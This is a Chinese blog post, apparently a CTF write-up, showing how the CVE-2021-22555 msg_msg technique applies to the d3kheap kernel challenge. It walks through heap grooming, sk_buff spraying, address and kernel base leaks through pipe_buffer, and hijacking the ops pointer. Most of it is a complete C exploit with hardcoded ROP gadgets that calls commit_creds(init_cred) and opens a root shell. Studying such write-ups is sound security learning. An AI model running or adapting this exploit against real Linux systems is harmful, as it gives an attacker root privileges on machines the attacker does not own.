CVE-2021-22555利用方法分析
196082 慢慢好起来

前言

在上一篇文章d3kheap中提到还有另外一种解决办法就是利用这一CVE进行利用,所以这一篇依旧使用d3kheap来进行复现。不过这里首先提一下这个CVE原本的漏洞。

在原本的CVE中漏洞点是net/netfilter/x_tables.cNetfilter 模块的ip_tables子模块, 当调用setsockopt()和选项IPT_SO_SET_REPLACE(或 IP6T_SO_SET_REPLACE)时,内核结构需要从32位转换为64位,由于错误计算转换大小,导致在调用 xt_compat_match_from_user() 函数时堆溢出写 0。

这里利用这一漏洞的方法是,首先我们需要在msg_queue中存放两个msg_msg,分为一个主消息(0x1000)和一个辅助消息(0x400)。利用两个字节的溢出覆盖掉其中某一个主消息msg_msg->m_list->next指针,使两个msg_msg主消息指向同一个辅助消息,进而转化为UAF漏洞。后续的利用会在d3kheap题目提到这里就不再赘述了。

利用分析

因为我们这里相较于原本的CVE中可以更为简单的形成uaf,所以我们只需要考虑如何使用结构体即可。我们顺理成章的选择与原CVE相同的msg_msg建立主从消息队列

为了方便后续的利用我们主从消息堆块的size分别选择96和1024。

此时我们可以利用d3kheap的功能造成UAF,但是我们仍然可以通过其中一个消息队列访问这个已经进入freelist的msg_msg,所以现在我们需要定位这一个msg_queue

定位msg_queue

这里是目前内存中主从形式,这里我们使用sk_buff堆喷来定位这个free了的msg_msg结构体,该结构体类似于 msg_msg,其同样可以提供近乎任意大小对象的分配写入与释放,但不同的是 msg_msg 由一个 header 加上用户数据组成,而 sk_buff 本身不包含任何用户数据,用户数据单独存放在一个 object 当中,而 sk_buff 中存放指向用户数据的指针,并且存放用户数据的object只有0x140存放着一些指针,所以在这道题目里我们进行堆喷时write的大小为0x2c0

至于这个结构体的分配与释放也是十分简单,sk_buff 在内核网络协议栈中代表一个「包」,我们不难想到的是我们只需要创建一对 socket,在上面发送与接收数据包就能完成 sk_buff 的分配与释放,最简单的办法便是用 socketpair 系统调用创建一对 socket,之后对其 read & write 便能完成收发包的工作。

根据前一篇的思路,我们使用msgrcv时还是会使用MSG_COPY标识位。但是我们到底如何判断呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// ...
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}
// ...

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}

可以看到这里如果我们传入的bufsz小于msg->m_ts就会给msg赋值一个负值,然后在后面return出来。不过这里在使用msgrcv函数时需要注意的还有msgtyp这个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;

list_for_each_entry(msg, &msq->q_messages, m_list) {
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq->q_perm, msg, current,
*msgtyp, mode)) {
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {
*msgtyp = msg->m_type - 1;
found = msg;
} else if (mode == SEARCH_NUMBER) {
if (*msgtyp == count)
return msg;
} else
return msg;
count++;
}
}

return found ?: ERR_PTR(-EAGAIN);
}

通过阅读其他源码可以看到mode是等于SEARCH_NUMBER的,所以这里会判断msgtyp和count的值,如果我们仍然想上一篇文章那样传入0,就只会读取msg_queue中的第一个msg_msg也就是我们的主消息,不过我们真正需要的辅助消息,所以这里我们还需要把传入的msgtyp修改为1才能获取到我们的目标object。

所以我们可以控制msg->m_ts然后控制传入的msgtyp以及bufsz就可以出现报错,不过这里仍然不会出现kernel panic,所以我们可以此种办法定位哪一个meg_queue中的辅助消息为我们的UAF的msg_msg。

泄漏堆地址

这里泄漏堆地址的方式其实跟上一篇文章一致的,首先通过越界读取相邻辅助消息堆块的指针,并且此时的辅助消息msg_msg->m_list.next指向的是msg_queue而msg_msg->m_list.prev指向的是主消息的地址。一样的主消息msg->m_list.next指向的是辅助堆块,那么对我们来说就可以通过两次读取泄漏出我们UAF堆块的地址。

不过这里的前提是和上一篇文章一样那就是存在相邻的辅助堆块也就是堆块分配在同一页内存上。

泄漏基地址

这里泄漏基地址的方法和前面的方法就完全不一样了,这里使用pipe_buffer来泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

pipe_buffer 中存在一个函数表成员 pipe_buf_operations ,其指向内核中的函数表 anon_pipe_buf_ops,若我们能够将其读出,便能泄露出内核基址。

这里使用的方法是,使sk_buff指向这个UAF的堆块,并且他已经是free的状态,接着堆喷pipe_buffer,最后读出数据继续维持UAF状态。

劫持执行流

在上一步我们已经泄漏出基地址,并且此时pipe_buffer所指向的堆块还是free状态,所以我们可以继续利用sk_buff进行堆喷。最后修改ops指针指向我们上面泄漏出来的堆地址,最后跟上一篇文章一样进行ROP即可。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/prctl.h>

#define MSG_COPY 040000
#define MSG_TAG 0xAAAAAAAA
#define PRIMARY_MSG_TYPE 0x41
#define SECONDARY_MSG_TYPE 0x42

#define MSG_QUEUE_NUM 4096

#define PRIMARY_MSG_SIZE 96
#define SECONDARY_MSG_SIZE 0x400
#define VICTIM_MSG_TYPE 0x1337

#define SOCKET_NUM 32
#define SK_BUFF_NUM 128
#define PIPE_NUM 256

#define PUSH_RSI_POP_RSP_POP_4VAL_RET 0xffffffff812dbede
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0

void errExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

struct list_head
{
struct list_head *next, *prev;
};

struct msg_msgseg
{
uint64_t next;
};

struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};

struct pipe_buffer
{
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};

struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};

struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
} primary_msg;

struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
} secondary_msg;

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
if (i / 2 < 10)
{
printf("%d ", i / 2);
}
else if (i / 2 < 100)
{
printf("%d ", i / 2);
}
else
{
printf("%d", i / 2);
}
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

void getShell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int fd;

void add()
{
ioctl(fd, 0x1234);
}

void del()
{
ioctl(fd, 0xDEAD);
}

int main()
{
save_status();

char *buf = malloc(0x4000);
unsigned long *point_buf = malloc(0x4000);
int victim_qid = -1;
int sk_sockets[SOCKET_NUM][2];
int msqid[MSG_QUEUE_NUM];
char fake_secondary_msg[704];
struct msg_msg *nearby_msg;
struct msg_msg *nearby_msg_prim;
unsigned long victim_addr;
unsigned long search_addr;
unsigned long kernel_addr;
unsigned long kernel_base;
unsigned long kernel_offset;
struct pipe_buffer *pipe_buf_ptr;
int pipe_fd[PIPE_NUM][2];
struct pipe_buf_operations *ops_ptr;
unsigned long *rop_chain;

for (int i = 0; i < SOCKET_NUM; i++)
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
errExit("failed to create socket pair!");

fd = open("/dev/d3kheap", O_RDONLY);
if (fd < 0)
{
puts("[*]open d3kheap error!");
exit(0);
}

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");
}

puts("\n\033[34m\033[1m[*] spray msg_msg, construct overlapping object\033[0m");

memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));
*(long *)&primary_msg = PRIMARY_MSG_TYPE;
*(long *)&secondary_msg = SECONDARY_MSG_TYPE;
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[0] = MSG_TAG;

add();

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&primary_msg.mtext[4] = i;
if (msgsnd(msqid[i], &primary_msg,
sizeof(primary_msg) - 8, 0) < 0)
errExit("failed to send primary msg!");

*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (msgsnd(msqid[i], &secondary_msg,
sizeof(secondary_msg) - 8, 0) < 0)
errExit("failed to send secondary msg!");

if (i == 1024)
del();
}

puts("\n\033[34m\033[1m[*] construct UAF\033[0m");
del();

((struct msg_msg *)fake_secondary_msg)->m_list.next = NULL;
((struct msg_msg *)fake_secondary_msg)->m_list.prev = NULL;
((struct msg_msg *)fake_secondary_msg)->m_type = NULL;
((struct msg_msg *)fake_secondary_msg)->m_ts = 0x1000 - sizeof(struct msg_msg);
((struct msg_msg *)fake_secondary_msg)->next = NULL;
((struct msg_msg *)fake_secondary_msg)->security = NULL;

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if (msgrcv(msqid[i], &secondary_msg, sizeof(secondary_msg) - 8, 1, MSG_COPY | IPC_NOWAIT) < 0)
{
printf("[+] victim qid: %d\n", i);
victim_qid = i;
}
}

if (victim_qid == -1)
errExit("failed to make the UAF in msg queue!");
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to release sk_buff!");
}
}
}

puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");
puts("\n\033[34m\033[1m[*] spray sk_buff to leak kheap addr\033[0m");

((struct msg_msg *)fake_secondary_msg)->m_list.next = NULL;
((struct msg_msg *)fake_secondary_msg)->m_list.prev = NULL;
((struct msg_msg *)fake_secondary_msg)->m_type = NULL;
((struct msg_msg *)fake_secondary_msg)->m_ts = 0x1000 - sizeof(struct msg_msg);
((struct msg_msg *)fake_secondary_msg)->next = NULL;
((struct msg_msg *)fake_secondary_msg)->security = NULL;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}

if (msgrcv(msqid[victim_qid], &oob_msg, sizeof(oob_msg) - 8, 1, MSG_COPY | IPC_NOWAIT) < 0)
{
errExit("failed to read victim msg!");
}

if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
errExit("failed to rehit the UAF object!");

nearby_msg = (struct msg_msg *)&oob_msg.mtext[(SECONDARY_MSG_SIZE - sizeof(struct msg_msg))];

printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%p\n",
nearby_msg->m_list.prev);

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to release sk_buff!");
}
}
}

search_addr = (unsigned long *)nearby_msg->m_list.prev;
search_addr = search_addr - 8;

((struct msg_msg *)fake_secondary_msg)->m_list.next = NULL;
((struct msg_msg *)fake_secondary_msg)->m_list.prev = NULL;
((struct msg_msg *)fake_secondary_msg)->m_type = NULL;
((struct msg_msg *)fake_secondary_msg)->m_ts = sizeof(oob_msg.mtext);
((struct msg_msg *)fake_secondary_msg)->next = search_addr;
((struct msg_msg *)fake_secondary_msg)->security = NULL;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
if (msgrcv(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1, MSG_COPY | IPC_NOWAIT) < 0)
{
errExit("failed to read victim msg!");
}

// print_hex(oob_msg.mtext, sizeof(oob_msg.mtext));

if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG)
errExit("failed to rehit the UAF object!");

nearby_msg_prim = (struct msg_msg *)&oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
victim_addr = (unsigned long *)(nearby_msg_prim->m_list.next);
victim_addr = victim_addr - 0x400;

printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%p\n",
nearby_msg_prim->m_list.next);
printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%p\n", victim_addr);
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to release sk_buff!");
}
}
}

puts("\n\033[34m\033[1m[*] spray pipe_buffer to leak kernel base\033[0m");

((struct msg_msg *)fake_secondary_msg)->m_list.next = victim_addr + 0x800;
((struct msg_msg *)fake_secondary_msg)->m_list.prev = victim_addr + 0x800;
((struct msg_msg *)fake_secondary_msg)->m_type = VICTIM_MSG_TYPE;
((struct msg_msg *)fake_secondary_msg)->m_ts = 1024 - 0x30;
((struct msg_msg *)fake_secondary_msg)->next = NULL;
((struct msg_msg *)fake_secondary_msg)->security = NULL;

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}
if (msgrcv(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE, IPC_NOWAIT | MSG_NOERROR) < 0)
{
errExit("failed to read victim msg!");
}

for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
errExit("failed to create pipe!");

if (write(pipe_fd[i][1], "196082", 6) < 0)
errExit("failed to write the pipe!");
}
pipe_buf_ptr = (struct pipe_buffer *)&fake_secondary_msg;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], &fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

if (pipe_buf_ptr->ops > 0xffffffff81000000)
{
printf("\033[32m\033[1m[+] got pipe_buf_ops: \033[0m%p\n",
pipe_buf_ptr->ops);
kernel_addr = (unsigned long *)(pipe_buf_ptr->ops);
kernel_offset = (kernel_addr - 0xffffffff8203fe40);
kernel_base = 0xffffffff81000000 + kernel_offset;
}
}
}
printf("\033[32m\033[1m[+] kernel base: \033[0m%p \033[32m\033[1moffset: \033[0m%p\n",
kernel_base, kernel_addr);
puts("\n\033[34m\033[1m[*] hijack the ops of pipe_buffer, gain root privilege\033[0m");

unsigned long pop_rdi = 0xffffffff810938f0 + kernel_offset;
unsigned long init_cred = 0xffffffff82c6d580 + kernel_offset;
unsigned long commit_cred = 0xffffffff810d25c0 + kernel_offset;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00ff0 + kernel_offset;
unsigned long push_rsi_pop_rsp_pop_4reg_ret = 0xffffffff812dbede + kernel_offset;

pipe_buf_ptr->page = *(uint64_t *)"196082";
pipe_buf_ptr->ops = victim_addr + 0x100;

ops_ptr = (struct pipe_buf_operations *)&fake_secondary_msg[0x100];
ops_ptr->release = push_rsi_pop_rsp_pop_4reg_ret;

int rop = 0;
rop_chain = (uint64_t *)&fake_secondary_msg[0x20];
rop_chain[rop++] = pop_rdi;
rop_chain[rop++] = init_cred;
rop_chain[rop++] = commit_cred;
rop_chain[rop++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop_chain[rop++] = 0;
rop_chain[rop++] = 0;
rop_chain[rop++] = getShell;
rop_chain[rop++] = user_cs;
rop_chain[rop++] = user_rflags;
rop_chain[rop++] = user_sp;
rop_chain[rop++] = user_ss;

for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
{
errExit("failed to spray sk_buff!");
}
}
}

for (int i = 0; i < PIPE_NUM; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}

return 0;
}

image-20220920223946797


参考链接:https://arttnba3.cn/2022/03/08/CTF-0X06-D3CTF2022_D3KHEAP/#Step-IV-%E5%A0%86%E5%96%B7-pipe-buffer%EF%BC%8C%E6%B3%84%E9%9C%B2%E5%86%85%E6%A0%B8%E5%9F%BA%E5%9D%80

题目在上一篇文章

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量